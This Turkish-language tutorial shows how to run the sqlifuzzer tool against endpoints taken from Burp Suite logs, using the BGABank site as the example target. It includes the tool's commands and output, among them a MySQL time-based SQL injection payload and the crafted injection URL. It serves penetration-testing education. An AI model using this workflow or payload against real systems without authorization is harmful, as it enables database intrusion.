Sqlifuzzer Aracı ile Burp Suite Loglarından SQL Enjeksiyonu Denemeleri

SQL enjeksiyonunun istismarı için bir çok araç bulunmaktadır. Bunlardan en ünlüsü sqlmaptir. Bu yazıda ise benzerlerinden bir kaç farkı olan sqlifuzzer aracı incelenmiştir.
Sqlifuzzer’ın en önemli özelliği Bash scriptte yazılması ve curl kullanmasıdır. Ayrıca Burp Suite proxy aracının loglarını yorumlayıp girdi noktalarını bulabilmektedir. Daha sonra bu girdi noktalarına belirtilen tiplerde payloadlar denemektedir. 

İndirme ve Çalıştırma

Kuruluma ihtiyaç yoktur. Aşağıdaki komutlar takip edilerek klasör indirilir, sıkıştırılmış dosyadan çıkartılır ve dizine girilir.
wget https://sqlifuzzer.googlecode.com/files/sqlifuzzer-0.6.tgz
tar zxvf sqlifuzzer-0.6.tgz
cd sqlifuzzer-0.6
./sqlifuzzer-0.5.sh

ile çalıştırıldığında kullanılabilecek parametreler ve kullanım örnekleri listelenir.

Kullanım

Örnek olarak BGABank sitesi kullanılmıştır. Sitenin Ziyaretçi Defteri kısmında page parametresinde zaman tabanlı SQL enjeksiyonu zafiyeti vardır. 
Önce gerekli isteği yakalamak için Burp Suite üzerinde loglama özelliğini aktif edilmesi gerekir. 
Bunun için sırasıyla Options –> Misc –> Logging kısmına gelinir ve giden isteklerin loglanması için Requests kısmına tik konulur. Açılan pencerede log dosyasının adı ve nereye kaydedileceği belirtilir.
Şimdi Proxy –> Intercept kısmında “Intercept is on” seçilir ve istekler için araya girilir. Yakalanan istek ve log dosyasında görünümü aşağıdaki gibidir.
İlgili log dosyası sqlifuzzer’ın bulunduğu dizine kopyalanır.
Aşağıdaki komut ile önce log dosyası yorumlanıp girdi adlı bir dosyaya yazılabilir. sqlifuzzer bu durumda sadece gerekli dizin yolunu ve parametreleri alacaktır.

sqlifuzzer-0.5.sh -l bgabank.log -P girdi

Örnek çıktı:

Parsing burp log bgabank2.log with 211 lines
…………..Input file girdi created
The following potentially risky URLs (if any) were removed:
POST /?sayfa=giris.php??b_musterino=11111111&b_password=123456&captcha=wirere
    *    *    *    *    *    *
The following URLs were added:
GET /style/js/fb/jquery.fancybox.js?v=2.1.5
GET /?sayfa=ziyaretcidef.php&page=0
GET /?sayfa=giris.php

Sqlifuzzer logdaki bütün girdi noktalarını, parametreleri bulacağı için taranması gereksiz bazı parametrelerde olabilir. Asıl istek içinde taranması gereksiz parametreler ise başka bir dosyada satır satır yazılır.
Örnek komut aşağıdaki gibidir.

./sqlifuzzer-0.5.sh -t http://bgabank.com -I girdi -e -D mysql -S no-scan

-t ile hedef site yazılır. -I ile parametrelerin olduğu girdi dosyası gösterilir. -l ile direk olarak burp log dosyasıda gösterilebilirdi. -D ile biliniyorsa veritabanı belirtilir. -S ile istenmeyen parametreler varsa bunun için yazılan dosya gösterilir. Bu örnekte no-scan içerisine taranması istenmeyen sayfa ve v parametreleri eklenmiştir. Son olarak -e parametresi ise burada zaman tabanlı sql enjeksiyonu denenmesi için seçilmiştir.

Aracın payloadlarının yetersiz olduğu durumlar için -C parametresiyle payload listesi, cookie bilgisi varsa -c ile ‘Cookie=12345’ şeklinde verilebilir.
Komut çalıştırıldığında önce siteye bağlanabilirlik test edilir ve payloadlar sırayla denenir.


Skipping param sayfa as it’s on the don’t scan list
Testing URL 1 of 1 GET http://bgabank.com/?sayfa=ziyaretcidef%2ephp&page=0
GET URL: 1/1 Param (2/2): page Payload (1/6): 1 or benchmark(100000000,MD5(1))#
[TIME DIFF: 14 SECS – re-submitting request to confirm]
GET URL: 1/1 Param (2/2): page Payload (1/6): 1 or benchmark(100000000,MD5(1))#
INFO: REPEAT TIME DIFF: -9 SECS
INFO: DIFFERENCE BETWEEN BOTH TIMEDELAY REQUESTS: -23 SECS
[TIME-DELAY-14SEC mysql REQ:1] GET URL: http://bgabank.com/?sayfa=ziyaretcidef%2ephp&page=1%20or%20benchmark%28100000000%2cMD5%281%29%29#
outputstore: sayfa=ziyaretcidef%2ephp&page=1%20or%20benchmark%28100000000%2cMD5%281%29%29#
DBMS already specified as mysql

Tüm payloadlar denendikten sonra html çıktısı Firefox(Iceweasel) ile açılır.
Submit Query bağlantısı tıklandığında URL ve payload gerçek site üzerinde açılır.